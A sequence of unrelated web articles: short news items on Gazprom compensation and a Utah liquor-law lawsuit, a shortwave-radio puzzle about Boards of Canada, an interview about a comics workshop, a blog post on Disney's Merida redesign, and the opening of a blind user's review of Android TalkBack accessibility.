“We confirm we received compensation from Gazprom, which will be discounted in the fourth quarter,” Adam Kucza from PGNiG’s investor relations department told Reuters.
“The compensation will take the form of lower prices (for some of the) ... gas we order from Gazprom.” (Reporting by Anna Koper; Writing by Adrian Krajewski) |
SALT LAKE CITY — A federal judge will hear arguments Monday over a lawsuit challenging changes to Utah liquor laws that the Utah Hospitality Association says were made under pressure from the LDS Church.
State attorneys have asked U.S. District Judge Bruce Jenkins to dismiss the complaint, arguing that The Church of Jesus Christ of Latter-day Saints offering its views on alcohol policy to state lawmakers does not violate the state or federal constitution.
"The LDS Church did not dictate law," wrote assistant attorney general Kyle J. Kaiser. "And even if some of the legislators were acting from some sectarian dictate, that does not mean the statute is unconstitutional."
At issue is SB314, a law the Legislature passed last year that, among other things, provided for more restaurant liquor licenses but not social club licenses and banned establishments from selling discounted alcoholic drinks. It also ties the state's license quota system not only to population but the number of law enforcement officers.
More broadly, arguments Monday may center on whether the state has unfettered ability to regulate alcohol under the 21st Amendment and whether it has immunity from being sued over federal antitrust laws.
Related:
Liquor laws: Lawsuit aims to limit influence of LDS church A group that represents Utah bars and restaurants wants a judge to ban state legislators from considering input from The Church of Jesus Christ of Latter-day Saints when they draft liquor laws. But others say that violates the right to free speech.
"We are such a control state, it's never been addressed how far they can go," said Lisa Marcy, an attorney for the hospitality association.
The group seeks a balance between commerce, legislation and collective community views. It contends doing away with drink specials amounts to price fixing, which violates antitrust laws.
"Utah is at a threshold of prominence, recognized for its vision and leadership," Marcy wrote in a motion opposing dismissal. "Yet it cannot maintain these qualities without recognizing that the religious views of some should never dominate the rights of others, especially when livelihoods are at stake."
The lawsuit says lawmakers conspired with the LDS Church to craft the legislation. It alleges two church representatives warned them that if they did not agree with the church's support of SB314, "there would be repercussions."
"It's a tough issue," Marcy said. "We're not saying the LDS Church did anything bad. What we're saying is we respectfully disagree with this marriage of church involvement and politics."
Sen. John Valentine, R-Orem, who sponsored the bill, said he doesn't recall anything about repercussions in his discussions with church officials.
"I have to tell you, I was at the center of 314 and I never heard that before these latest allegations," he said.
Valentine, an attorney, said everyone should have the right to seek redress from the government, including churches. "To try to bar a particular religion from being able to talk to the Legislature, I just cannot fathom the court even getting close to granting that kind of remedy," he said.
The LDS Church has said one of the functions of religious leaders in a democracy is to add their voice to issues of public importance. "That is why churches take positions on social issues," according to a 2008 church statement.
We're not saying the LDS Church did anything bad. What we're saying is we respectfully disagree with this marriage of church involvement and politics. –- Lisa Marcy, attorney
While the church teaches its members to avoid alcohol altogether, it acknowledges that alcoholic beverages are available to the public. It has called for reasonable regulations to limit overconsumption, reduce impaired driving and work to eliminate underage drinking.
State lawmakers, too, have used those principles as a guide to drafting alcohol policy.
Valentine said SB314 didn't increase the number of social club licenses because data indicate that more DUIs result from drinking in bars than restaurants. The Utah Department of Alcohol Beverage Control usually has restaurant licenses available, but the wait for a club license is months.
"A wetter environment means more DUIs, more underage drinking and more social costs from alcohol," he said.
Ken Wynn, a hospitality association board member and former DABC executive director, wants to see those numbers.
"They don't have the statistics to support that," he said. "They just spew that out of their mouths and everybody takes it as fact."
Valentine conceded many of the oft-cited studies were done nationally, not locally. He co-sponsored a bill this past legislative session that calls for the Utah Department of Public Safety to collect data about overconsumption, overserving, underage drinking, DUI rates and alcohol- related abuse.
"Where do you think they got that idea from?" Marcy said. "It's never been brought up before but it's brought up now because we throw it in the lawsuit. They need to have that in there because they were on the hook for that."
Email:dromboy@ksl.com
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SWLing Post readers: I received the following email request today. Sounds fun and intriguing. Perhaps you can help solve this mystery…
Hello, readers of The SWLing Post, and please forgive the intrusion. I admittedly know very little about shortwave radio, but there has been a bit of a puzzle going on for fans of the band “Boards of Canada” recently, and there is the distinct possibility that its solution could involve shortwave radio. A message I posted over on Reddit was forwarded to Thomas, who very graciously offered to post the plea here.
Some background — Boards of Canada is an instrumental electronic music duo from Scotland who are, to put it mildly, somewhat private and aloof, in all the right ways. Their references tend to be very math-heavy and their music has some innovative and fascinating-sounding tape loops, synths, etc. This puzzle has been going on for the better part of a week, and we fans been very impressed with the complexity of it, though we are not even certain of the meaning of it — though we hope and suspect it is a lead-up to a new release by the band.
Someone (presumably the band) has been currently leaving these (for lack of a better word) “clues” in several key places in the media. First, a single album was sold to one person on National Record Store Day in the US — an album containing a “numbers station” style reading of a series of 6 numbers. Then a cryptic YouTube video with another series of 6 numbers also being read like a voice on a numbers station. 6 additional numbers were played (unannounced and without explanation) over a commercial radio station in England. Then on April 25, the band stealthily released 6 more numbers by encoding a link hidden in a gif — a link to two soundfiles that had to be played simultaneously in order to cancel out the phase and reveal — you guessed it — another numbers station-style broadcast.
We have reason to believe that there are 1 or 2 more series of numbers out there — and given the nature of the broadcasts, plus the picture of a radio tower on the band’s Facebook page and the different media by which the band has released some clues, there is at least some reason to believe that perhaps there is another series of numbers being broadcast somehow over shortwave radio.
Here is where I’m hoping the expertise of your readership might come in — as I say, I apologetically have no idea how the world of shortwave radio works. But I’m wondering: in your journeys across the frequencies recently, have any of you stumbled across anything that sounds like this:
http://youtu.be/Qe4UCjjyr8U — specifically something with that same chime pattern at the beginning and then the 6 numbers? (This is obviously not a “real” numbers station broadcast, but something made to sound like it). I would not put it past Boards of Canada to transmit a signal somehow and expect their listeners to find it.
And/or does this series of numbers mean anything to you in the shortwave world:
xxxxxx/628315/717228/936557/xxxxxx/519225
The Xs are gaps where we’re waiting to fill in the numbers, but we have yet to discover them — though one of the series might likely be 699742.
If you’re curious, here is a summary of most of the events that have happened so far: http://2020k.wordpress.com/2013/04/20/boards-of-canada-distribute-new-vinyl-releases-out-for-national-records-day/
Thanks so much, and apologies if this is a waste of your time — this may end up having nothing to do with shortwave transmissions — I just figured it might be worth a shot, and also an opportunity to learn more about this particular passion. |
This Spring SAGE College will be host a Comics Club hosted by local creator Ira Marcks.
Comics Club: Adventures in Visual Storytelling is about discovering the art and craft of storytelling with cartoons. Cartoonist and writer Ira Marcks facilitates this workshop series and teaches about encouraging creative ideas, collaborative thinking, critical response and a sense of clarity through visual narrative. Each week will focus on a different skill, including brainstorming, plotting story, character design, and developing a unique illustration style.
Comics Club is about more than making comics. It’s about the language of drawing. Drawing is an amazing communication tool. It’s a universal way to share thoughts and information with people from all over the world. It’s also a highly effective way for filmmakers, graphic artists, and video game designers to share ideas at their purest stage of development. For 4th graders and up–middle school and high school students, included.
Where: OPALKA Gallery, SAGE COLLEGE
When: Thursdays: March 31, April 7, April 14, April 21, May 5 and May 12
Time: 4:15 to 5:45
Cost: $90 for the full six-week class, includes snacks and materials
Deadline: March 24
for more information or to to download a registration form visit the website or contact Amy Griffin at griffa@sage.edu or 518-292-8607
Last week I sat down with Ira to learn more about the program, his background as a creator and the different projects he has worked on and is currently doing.
—
How did you get into comics and drawing?
I always have drawn, I remember my dad would read me books as a kid and I would like to draw little books from them. When we would read The Hobbit, I knew the book had a map in it, butI would still make him draw with me and do some world building.
I was drawing before I got into comics, just starting with the newspaper like most kids probably do…exclusively CALVIN & HOBBES by Bill Waterson because it is the best of all time. Even as a kid I kinda knew that. I studied graphic design in college and have always thought about layout and Calvin and Hobbes just always looked better than all the other ones. So CALVIN & HOBBES was the first, never got into DC Comics but did read Marvel books like the Chris Claremont era X-Men, they were back issues because they were a little cheaper. So some early X-Men and some Spider-Man and I fell for the whole 90s Image Comics era, reading a lot of Spawn. My girlfriend read The Maxx which was way cooler, Spawn was just a mashup of a bunch of normal superheroes to make one super dark normal superhero. I read that for a long time and then went to college and studied design, but by my Senior year I was back into comics and that has led me to where I am now which is some weird freelancy, cartoony illustration, and teaching.
What are your creative influences?
I would say mainly Bill Waterson, my book Witch Knots, about a boy who imagines animals that he can talk to and reveals something about themselves which started as a webcomic which I would post two or three a day (also available online at above link). I had done some longer projects before like some anthology work and been working on a graphic novel that I never really went anywhere so I started doing the webcomic around 2007 or 08. The webcomic was mostly inspired by Calvin and Hobbes, with the frameless 3rd panel, with a silhouette of a design.
Other than that I would say Ray Bradbury and other science fiction writers.
Cartoon-wise Rob Schrab, who did Scud: The Disposable Assassin, was something I was reading the single issues as they were coming out; Jhonen Vasquez’s Johnny the Homicidal Maniac,
basically, the indie guys that couldn’t really draw that well but they could animate and do all kinds of stuff. I like that diversity, I never really wanted to “be in the industry” and work on someone else’s book or character, I just liked the independent guys.
I met Jeff Smith creator of Bone is also a giant inspiration, the way he tells a story and pacing he uses is very influential on the way I draw comics
Career path wise just keep doing stuff and people will ask you to do things.
So tell me about the Making Comics Workshop?
I do all kinds of teaching stuff but I do these Comic Jam events where you start with a panel and give you a title such as “Zapped by a Shrink Ray,” “Pirate Goes Shopping, ” or “Time Travel Field Trip” for example. So you start with the title and draw the first panel and then it gets passed to the next artist who draws panel 2 and so on as it goes around the room, sort of like an improv. I do these 3-hour workshops all over the place during the summer. The one I will be doing at SAGE will probably start with something like that before moving on to more storytelling troubleshooting.
This is not a class where I teach somebody to how to draw superheroes, in fact, we don’t even deal with superheroes, it is mainly about the narrative.
When I do this project with the kids you can talk about any point in visual narrative history from the old tapestries to the old Tales From the Crypt comics and how the points of view change. My interests are more along the Scott McCloud idea of how do we use cartooning as a tool to speak with clarity about our ideas, so that is the general theme of the class. I do bring a bunch of comics, depending on the age group, such as the autobiographical original graphic novel BLANKETS by Craig Matthew Thompson which is the story of a young man coming of age and finding the confidence to express his creative voice. I like that book a lot…
I also use comic strips like THE FAR SIDE and CALVIN & HOBBES, even something like DINOTOPIA by James Gurney which is an illustrated book series about an island inhabited by humans and sentient dinosaurs who have formed a complex, interdependent society; or Tim Burton’s little books of poetry or Edward Gory, who is noted for his illustrated books of characteristic pen-and-ink drawings often depict vaguely unsettling narrative scenes in Victorian and Edwardian settings.
Basically, it goes away from storytelling to the most effective way to use a picture to share a story so we use comics but it goes into more experimental stuff.
I notice you have WATCHMEN on your bookshelf….
Yeah, that is a good one and I will bring that along with some Spider-Man. I will also bring stuff by Chris Ware just to show how big and odd the formats can get. I like this Jason Shiga book, MEANWHILE, which is like an interactive comics about alternate realities so there are a few different versions of the story.
Who would benefit from attending the workshop?
I think anyone one who fundamentally wants to tell a story on things they create or work on with other people. Anyone who wants to work in media or likes video game design. I like to listen to podcasts on narrative driven games such as the classic MYST or RIVEN, which built a branch story system. I think it could benefit those people
People who want to draw comics, work in film or photography would benefit since we talk about composition. Anyone doing work in a visual medium I think would enjoy being part of the class. I make it fun too as I try to make it very conversational. You read a lot of this stuff as a kid or young person anyway so it is probably what you know best more than novels or film, you are familiar with comics.
How long have you been doing these workshops?
Since I moved to the area 7 to 8 years ago. Someone asked me to sub in for them at the Art Center here in Troy, might have been a cartooning class. I did some summer workshops, do classes for home school network: cartooning, basic video game design, graphic design, and more traditional art. I did freelance for a long time but I enjoy the teaching more.
Are you currently reading any comics?
Ah should have looked up something and read it and I could be like “oh I am reading this…”
I am currently deep into a couple projects so I think that I try and avoid other new things. I don’t mind being influenced, but sometimes you just don’t want to be.
I try to keep up on stuff or my students will show me stuff, like a Tumblr they are following. Anime stuff like PRINCESS MONONOKE is always relevant, so I try and dig into older stuff more.
Maybe I should go back and read some Captain America because the kids I work with are seeing all these movies and never really followed those characters. Not that the Batman v Superman movie is going to reveal anything mind blowing but maybe I should read Frank Miller since the movie has that feel to it, so I should go back and refresh myself on The Dark Knight Returns and maybe bring it in. Miller has some great storytelling and panel layouts even though they can get a little dark. Like I am not going to share Sin City with kids, but the way he uses contrast, same with Mike Mignola on Hellboy. It is great to think about and see how they use positive and negative space along with fundamental design issues.
I do go to the small press expo in Maryland with other local creators like Jess Fink and her boyfriend, just to see what is new. I have known them for a long time from Live Journal before I moved here. I saw a flyer for an art show and was like that art is familiar (Jess’s drawing) and was like oh wow she lives here.
I would like to catch up on SAGA, I hear that is good.
I was looking at your website and was interested in the music video you illustrated could you tell me about that project?
I called it an illustrated score. For brief moment a friend had a record label, so it had a band that made an album and the theme was more of a concept album about a kid who was born as a drummer and drummed a hole into the center of the earth, so lyrically it all kinda flowed together, so the ideas was to make a single music video to cover the whole thing. Since I am not an animator it had to be a giant scrolling image, so I mocked it all up into little parts and photo shopped it all together. Sometimes the images reflect the soundscape of the song and the instruments being played or more literal to what is going on in the song. The story follows the father and the mother and a lot of sound making shapes. So that was a fun project and a nice experiment because it allowed me to play through the different realms of art such as Celtic to schematics of motors. It took me about a year or so and it changed the stuff I was interested in. It got me thinking that maybe I am not so much into comics and allowed me to branch out into storyboarding into startups that were designing app “proof of concept” pitches.
When you draw is there a medium that you prefer to work with?
For a long time it was my P.H. Martin inks and watercolors on nice hot press Archer’s paper and that is how I did most of my comic work until this fall when I got a tablet similar to the Cyntik and have been doing a lot of artwork on it. I used to sit here all the time (at his art desk with the inks and watercolors) but haven’t in a long time. I recently made a label for Rare Form Brewing Company so I am not going to draw that by hand because I can do it in a few hours in the tablet. I always had an aversion to a drawing tablet because it can sterilize things and I like the looseness of the watercolor. But you can get some pretty good brushes (on the tablet) and I can say what I need to say with it. I just don’t like looking at a computer screen all day, it is nice to sit over here and look out the window as I work.
When you create do you listen to any music or are you just “in the zone” so to speak?
I am always listening to something..If I am writing I like to listen to something ambient instrumental thing, if I am drawing I like to listen to audio books or talk radio, but not when I am writing.
Do prefer the writing or the drawing more?
I think I like the drawing more but I don’t get bored but resentful of myself. I don’t get as much satisfaction drawing as I do when I write. I worte a book that my agent has been pitching but it is not going anywhere. It is good but not great like the novel that never went anywhere. I know I am not a great writer, I didn’t go to school for it, so that is a lot of fun for me to keep trying to get good at it. I don’t mind if I never sell that first book that I spent two full years on, it was a thing that just made me better and is more interesting to me now than drawing. Drawing is like a vacation, writing feels like I am really making art again and I have to really reach something within me.
With my drawing I don’t feel like I challenge myself, cartooning doesn’t seem to go there for me, maybe if I was more of a fine artist. I am in a band but I don’t consider myself a musician and need to express myself that way, it is just for fun.
But I wish I was drawing more.
I know you are into the indie comics but is there a property from one of the major publishers you might want to work on? Say something you read growing up?
I would like to do HELLBOY because I like the story format of referencing some myth, I like that and the setting is always cool.
Superhero stuff always boggled my mind. Maybe working on the everyman version of Hawkeye or maybe something “slice of life” with some action.
Or maybe taking an older, obscure character and treat them how they should have been or doing a new spin on it…maybe something along the lines of Alan Moore’s LEAGUE OF EXTRAORDINARY GENTLEMEN.
Is hard to find time between teaching and doing your creating and art?
I make it work for me because it is a loose format. I am pretty good at making time for myself to work, so it not a problem. If it did I would just drop some of the things so I could keep an equal balance. Teaching inspires my work but if I don’t have time to make the inspired work then it is like I don’t want to teach as much.
Anything you are currently working on?
Besides the workshops, I have a few books I am shopping around. I am doing illustrations for these 4-panel comics called Everyday Creative which focusses on local creators of all kinds.
The book is called Creative Everyday, and with the support of the Workforce Development Institute, it will be shared with 10,000 kids around the region. Creative Everyday are True Tales about leading a creative life and trials and tribulations of Art and Life colliding and to inspire kids to explore Upstate NY’s Creative Economy.
I also have these little drawings and tropes called Signs From Other Worlds, not sure what I am going to do with it (check out his Tumblr page here) but it is a collection of drawings that show the hopes, fears, and weird ideas found in speculative fiction ranging from cosmic horror to cyberpunk, this ongoing project is about exploring the history of creative storytelling culture.
—
I would like to thank Ira for taking the time to do the interview and hope readers here will check out his website, Tumblrs, and other projects that are mentioned in the interview. I would also like to thank him for the copy of his book Witch Knots, can’t wait to read it. |
UPDATE: Brave's director, Brenda Chapman, has weighed in. And she is, shall we say, not happy:
“I think it's atrocious what they have done to Merida,” Chapman said in a letter to her local newspaper, the Marin Independent Journal. “When little girls say they like it because it's more sparkly, that's all fine and good but, subconsciously, they are soaking in the sexy 'come hither' look and the skinny aspect of the new version. It's horrible! “Merida was created to break that mould - to give young girls a better, stronger role model, a more attainable role model, something of substance, not just a pretty face that waits around for romance.”
h/t to Bizzarobot who just posted this on Facebook.
UPDATE 2: And then this happened. . . Sexy Merida has been replaced.
***
And it's official. Merida from Pixar's Brave is officially the 11th of the Disney Princesses. In a ceremony at Walt Disney World in Orlando earlier today, Saturday, May 11, Merida officially became part of the Disney Princess line. (h/t to InsidetheMagic.net for some awesome coverage fo the event, including tons of pictures and video.) However, not all is right in the house that Walt built.
Somehow, in order to join the ranks of Cinderella, Ariel, and Belle, Merida had to get a little makeover:
So, obviously Merida had to lose a few pounds from her waist, gain them back in her chest and hips, get a new hairdo, put on more makeup, lose her iconic bow and arrow, and wear the dress that she hated in the movie Brave.
And because this is unsettling to oh so many, a petition to Bob Iger, CEO of Disney and future supervillain sprang up on Change.org, asking for Disney to please return Merida to her original body and image. Already nearly 100,000 people have signed the petition called Disney: Say No to the Merida Makeover, Keep Our Hero Brave!
Does this matter? In a word, yes. For those unfamiliar with a feminist critique of Disney Princesses, it was fairly simple: most of them were nitwits, waiting for a prince to come and save them or somehow complete their existence. Merida was the exact opposite of that. She had no interest in her boy suitors, preferring the woods, her bow and arrows, and adventure. She took charge, and when her mother was cursed, she took action herself to set things right.
One of the petition signers, Kris Dorman of Utah, wrote: “Merida was the anti-princess for all of us who don't wear makeup, let our hair rampage free, and prefer to wear real clothes that let us hike, climb mountains, and ride horses. Please allow Merida to remain the fiercely confident young woman who doesn’t need glitter or skin to know she is of incredible strength and worth.”
Peggy Orenstein, author of the book Cinderella Ate My Daughter, described the changes on her blog: "There’s the hot hair, the coy expression. Also the obligatory exposed shoulders (moms tell me all the time that their preschool daughters are pitching fits and destroying their t-shirts because “princesses don’t cover their shoulders), slimmer waist, and the bow and arrow replaced by…what is that, a low-slung belt? And she has what appear to be high-heeled shoes. Or at least slimmer, pointier feet. . .Because, in the end, it wasn’t about being brave after all. It was about being pretty."
As a focus-group of 1, I had my 7 year old daughter look at the pictures of Merida and ask her what she thought. "Dad, I like the new one better. She's prettier," she told me very matter-of-factly.
And yes, that's her, dressed as Merida for her last birthday party. So, she has some affinity for the character. When I pointed out that Merida was missing her bow and arrows, that they made her skinnier, my little girl didn't see any of that. The merchandising-lust welling up in her eyes, I could see those Disney marketing geniuses knew their stuff, issues of feminism or body image be damned!
That is, perhaps, what is so damaging here. It's not that they're changing Merida in ways that sexualize her, or remove the bits that make her a strong heroine, it's that the target demographic doesn't get the subconscious signals being sent their way.
In case you were wondering, it's not only Merida who's been given a makeover:
At least in this one, Merida still has her bow. So, for comparison, before:
and after:
And yes, the subredditjust exploded in underage semi-porn ecstasy, and the folks on DeviantArt making Disney Princess sexy pics are going to have to shutdown for "copyright infringement." I kid. But I'm kidding on the square.
It's not that we at BSR are prudes, nor are we generally uptight over these sorts of things. If I go to Dragon*Con and see a sexy Merida cosplay, that is one thing. Because that is for adults. But when you take a girl, and tell her that to be "pretty" means losing weight, gaining a cup size, wearing makeup and a strapless dress, and batting some sexy eyes, that's another thing entirely.
Of course, the best way to send a message to Disney is with your wallet. If sales dip with this redesign, they'll know why. Unfortunately, I fear that whatever the Disney version of a Brony is will more than make up for loss of sales from parents like me.
But backing down from doing the right thing is not what Merida would do.
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Tags: disney , Top |
Revision History
17 June 2016
Expanded on the use of OK Google
Refined discussion of Focus Speech Audio
Introduction
If you read this blog on a regular basis, you’ll already know that I enjoy playing with new technology. Since one of my roles here at Mosen Consulting is to train people in the use of technology, I can even justify playing with new gadgets and calling it work.
Three years ago, I bought a Nexus 7 tablet. I became broadly familiar with the Android operating system in conjunction with TalkBack, Android’s official screen reader for the platform. I then left it neglected, because I didn’t consider it an environment that was either pleasurable to use or that could meet my productivity requirements.
A lot of the apps that shipped on the device were inaccessible, and I had a lot of trouble getting gestures to register. I got tired pretty quickly of performing a double-thump, just to perform an action.
Several factors led me to pick up a new device and take a fresh look at the Android experience.
First, three years is a long time in technology. The operating system has matured and TalkBack developers have responded to feedback.
Second, using some of Google’s apps on my iDevices has given me huge respect for the user experience they are creating. Google Now, Voice Search, YouTube and Maps are great tools. It made me curious to learn more about what the native Android experience might be like, unconstrained by Apple’s sandbox approach.
Third, while it appears that there may be a way with the iPhone 7 series to charge the phone while using wired headphones, the headphone jack controversy got me thinking about the compromises I have made in exchange for the very good accessibility experience iOS offers. The many books, podcasts, email messages and blog posts I’ve put together since I bought my first iDevice are a testimony to the fact that iOS and VoiceOver have changed my life beyond measure. Yet there are still things I can’t do with my iDevices that I was doing with my old Nokia phones running Symbian all the way back in 2009.
Apple’s sandbox approach is designed to keep our phones safe and protect our privacy. All in all, it succeeds very well with this objective. But experienced users pay the price in terms of flexibility. Even though I consider myself a proficient iTunes user, and except for when Apple breaks accessibility I can do what I need to do with it, I still resent that I can’t cable my own phone to my own computer, see it as a drive, copy music to a music folder, and play that music in any number of apps. If needed, I want to be able to delete music from my phone in the same way.
I want to do simple things like assign a piece of music as a ring tone, without having to go through a bunch of hoops to have it contain a certain file extension and get it imported in just the right kind of way.
I miss the ability to run certain kinds of apps like call recorders, in those situations where being able to record a quick podcast interview when I’m mobile would be useful.
In short, there are a bunch of ways in which Apple limits my ability to do what I want with the device I paid for. I’m sure they’d say that it’s for my own good, but as an experienced computer user, I think I’m the best judge of what’s good for me.
Admittedly, through the use of various application programming interfaces, they’ve backed off a little bit over the last few years as Android has become the dominant player. But the operating system itself is fundamentally locked down unless you jailbreak. Jailbreaking is harder to do as Apple closes the exploits that make it possible. It also eliminates the possibility of participating in Apple’s beta programme.
So philosophically, as someone who likes to tinker and customise, my heart is with the ethos of Android. But as the old saying goes, philosophy bakes no bread. As blind people, we’re constantly battling ignorance and discrimination. We owe it to ourselves to be as productive and efficient as we can be with our technology. So I’ll go with the option that allows me to get as much work done when I’m away from my computer as possible.
With that background in mind, this is my account of what it was like to spend some quality time with a current Android device. This blog post is no more than one blind guy’s experiences, and it’s written from the perspective of an end user, designed to be digestible and helpful to end users. Any review like this is going to be subjective. It’s influenced by the things I do most with my phone. At least some of them will be different from the things you do with yours. The post has a lot to say about TalkBack as a screen reader, but accessibility is a means to an end. The end is being able to use the device and applications you choose. So I’ll also spend some time talking about the user experience I’ve had getting some tasks done.
This post has been reviewed by expert Android users, because while it contains my personal opinions, I want as much as possible to avoid errors of fact. There may be some though, so I encourage you to read any comments left in response.
Even though I’ve tried not to let this colour my review too much, of course it’s based on the fact that I’ve been using iDevices for years.
While some blind people, annoyed with those who point out Android’s shortcomings, would claim that it isn’t fair or appropriate to compare TalkBack and VoiceOver, I couldn’t disagree more. When a sighted person looks at purchasing a smartphone, they’ll compare the two platforms and the way things are done on each. I agree that TalkBack doesn’t have to do things in the way that VoiceOver does, but the two screen readers should be compared based on how efficiently a blind person can get the job done, and the number of apps that work well with it. So I’m not going to shy away from drawing comparisons in this post.
Choosing a Device
Choosing an Android device can be both liberating and confusing. Not only do you have to consider how much storage you might need and the size of the screen as you do when purchasing an iPhone, but Android gives you a vast array of options from which to choose, from many manufacturers.
In the end, I decided to purchase a Huawei Nexus 6P. It’s a phablet, about the same size as my iPhone 6s Plus. I bought a Nexus device because they are produced by original equipment manufacturers to Google’s specifications. They run Android as Google intended it to be, without added apps or modifications.
The price that many Android users have to pay for a wide range of devices and user experiences is fragmentation. Operating system updates can either take months to appear on some devices, or they may never appear at all. Five months after the release of Android 6.0 Marshmallow, it was only running on 2.3% of devices.
When you buy a Nexus device, you can be assured that you’ll be one of the first to receive updates to the operating system. As someone who likes to be on the cutting edge and try new things, that appealed to me, particularly given that accessibility seems to be improving steadily with every release.
Indeed, I briefly upgraded my Nexus 6P to the Android N preview, until I realised that beta testing an operating system and screen reader with which I was not intimately familiar was a bit too much to take on at once. Upgrading and downgrading was a snap. Simply enrol in the beta, and the update is pushed to your device. Unenroll, and you’re given a software downgrade and have to start over. But let’s go back to the beginning.
Set-up
Once I got the Nexus 6P home from the store, I was unable to complete the initial set-up process without sighted assistance. I’ve set up a number of Android-based devices without issue in the past, the most recent of which was the Kindle Fire I bought a couple of months ago, so I’m very familiar with the process. You should be able to power up the unit, and when at the initial set-up screen, hold two fingers down on the screen. Despite having sighted assistance on-hand to confirm that the initial set-up screen was indeed being displayed, the gesture to start an accessible set-up did absolutely nothing. I have since learned from some other Nexus 6P users that they have had a similar issue, and that it may have been corrected in newer versions of the software. That seems indeed to be the case. I erased my phone after applying software updates and started over. This time the accessibility gesture worked. After holding two-fingers down on the screen for a couple of seconds, a highly intelligible text-to-speech engine prompted me to keep my two fingers held down until I heard a beep. TalkBack then allowed me to complete the rest of the phone’s set-up independently. However, when I unboxed it, the only thing I could do was get sighted assistance to complete the set-up as well as start TalkBack from the device’s Accessibility Settings. Not the best of starts.
If you are able to complete the setup of your Android device independently using TalkBack, be prepared to have a set of headphones on-hand. TalkBack with the default Google keyboard will not speak passwords if you’re using the phone’s built-in speaker. While I appreciate the intentions behind this feature in that a blind person may not know who is around them when they’re typing in sensitive password data, this restriction seems a little arbitrary in a way that doesn’t sit well with Android’s philosophy of greater user flexibility and responsibility. Forcing the user to have a pair of wired headphones on-hand in an era where some may not own any could cause real issues getting the device configured. It seems to me a rather pointless measure anyway, since the device is not smart enough to know what’s at the end of that 3.5 mm cable connected to the headphone jack. Sure, most people will connect headphones, but they could just as equally plug in a big wired speaker and blast the password to the neighbours. In the end, we as blind people know when we’re in an appropriate environment to set up a device. Another work-around if you don’t have headphones handy is to skip the Wi-Fi setup, enable the speaking of passwords in accessibility settings, then connect to a wireless network. I recommend enabling this setting anyway, because when a password field is populated and the speaking of passwords has not been enabled, TalkBack doesn’t tell you the number of characters that the field contains.
Yet another option is to install one of the many accessible third-party keyboards that don’t feature this password restriction, but of course you have to set up the device before you can do that.
TalkBack guides a new user through a familiarisation process by way of a tutorial, in which you’re introduced to the gestures and given a chance to practice them. A form of this tutorial has been available for some years, but it’s structure and language have become increasingly comprehensive and friendly. It’s a nice touch. For me, it’s benefit at start-up was somewhat lessened by the fact that an older version of TalkBack shipped with my device, and the gesture set of the update has changed in some key respects. This is difficult to avoid if a product is evolving, and it’s better to have this issue than be stuck with a product that is stagnant. I was impressed that after eventually applying the update from the Google Play Store, I received a notification telling me that gestures had changed. And you can go back and run the tutorial at any time should you need to practice.
Many other core Android apps, such as Contacts, Gmail and even the default keyboard are individual apps in themselves and can receive updates through the Play Store. This is a different approach from the one Apple takes, where many of its core apps are built into the OS. It’s a great strategy, particularly in an environment like Android where there’s so much OS fragmentation. Even if your device manufacturer takes an age to update you to a newer version of Android, at least you can grab the latest screen reading technology and new core apps that are available. It’s worth keeping in mind though that some accessibility improvements may be dependent on changes at the operating system level.
Part of the setup process involved registering my fingerprint with the sensor located on the back of the phone. This was totally accessible, giving me feedback all the way through and clearly showing me the various security options available.
Initial Impressions
As I immersed myself in Android, I took some notes about things that stood out for me. Some of these issues have accessibility ramifications, while others are the observations of an experienced iOS user having a play, and are not blindness-specific.
Enormous Improvement with On-board apps
There was a time, not so long ago, where you couldn’t enjoy a truly accessible experience on Android until you replaced or enhanced many of the default applications and features with more accessible alternatives. That’s fun for the geeks among us, but for those who just want to get on with using their new phone and may not be too tech-savvy, it was a steep hill to climb. Compared with the last time I took a serious look at Android, it’s like night and day.
I haven’t played with every feature of every app, but I’ve opened most of the stock apps and explored a little.
Google Maps works well, although I miss the ability to explore the screen with my finger and get a feel for the layout of streets and intersections as I can in iOS. Nevertheless, it’s a snap to get directions and other information. Transit information isn’t available through Apple Maps in New Zealand, so the accurate information I get from an app so intrinsic to the operating system is a welcome change for me.
I found it easy to navigate the calendar and add appointments.
The Gmail app is useable, but in my view not terribly efficient. I appreciate though that efficiency can be subjective, and some people may consider it adequate. I was given the tip to install and use a third-party app called Aqua Mail. Since I have so many email accounts to manage, I had to pay for the premium version, but it’s one of the best mobile email clients I’ve used. It even supports Imap push, which means I’m able to be even more responsive than with my iPhone. It’s a beautiful thing.
Google’s default keyboard is now accessible. Some people will appreciate the haptic feedback, which gives you the impression that you’re getting some traction from the virtual keyboard as you type. Typing is similar to touch typing on the iPhone, in that you slide your finger around the screen, lifting your finger when you find the character you wish to enter. If you prefer what iOS calls “standard typing”, where you must double-tap or split-tap a key, then you’ll need another keyboard. There are plenty of these in the Play Store. It seems to me that there are more accessible keyboards on Android than there are in iOS, possibly because Android has had third-party keyboards for much longer.
My Nexus 6P comes with Google’s Messenger app. It feels to me a lot like the iOS Messages app. It’s accessible and a pleasure to use.
I got up and running with Play Music from Google without any trouble, taking advantage of the free trial offered to all nexus purchasers.
Surfing the web with the latest build of Chrome is now truly useable, and the granularity features in TalkBack make it easy to navigate by elements you need when on a web page. I found myself missing reader mode in Safari though, which helps a blind person to get past the clutter and onto the important content.
In short, long gone are the days when you’ll get an Android device out of the box and throw up your hands in horror. I understand that Google has accessibility champions for all of their major product lines now, demonstrating a real recognition of their need to step up to the plate and ensure that accessibility is a part of their DNA.
Consistency
The Nexus 6P has no physical home button. I’ve not found this a problem at all, since it remains an icon that is visible on the screen at the same place at all times. But if you have issues with locating the Home icon, there is a TalkBack gesture, which I actually find more cumbersome than locating the button. More on that when I get to discussing TalkBack.
To the right of the Home icon is the Overview Button. This is a little like the App Switcher in iOS, and shows you apps and other items you’ve used recently. From here, you can check how much RAM and energy an app is using and how much storage it consumes. You can close the app, and uninstall it if you like. If you know your way around a computer, you’ll appreciate all of this information being so close to hand.
To the left of the Home icon is the Back button, a feature I like very much in Android. Some iOS apps have a back button, and some do not. Some implement a back button inconsistently, so that it’s available in only some parts of the app. The Back button is always available, without exception in Android. It’s a function of the operating system that is kind of like the Back button in a web browser. Pressing it repeatedly retraces your steps until you’re at the Home screen, which is the top level.
As someone trying to come up to speed, I found this consistency very helpful.
A Smart Home Screen
If you’re a user of newer versions of Windows, you’ll be familiar with the concept of active tiles, which may display news, weather, and other information that changes. In iOS, widgets are available, but they’re tucked away in the Today view, leaving your Home Screen a static grid of app icons where the only thing that changes is the badge count. Widgets are tiny applets that display useful information.
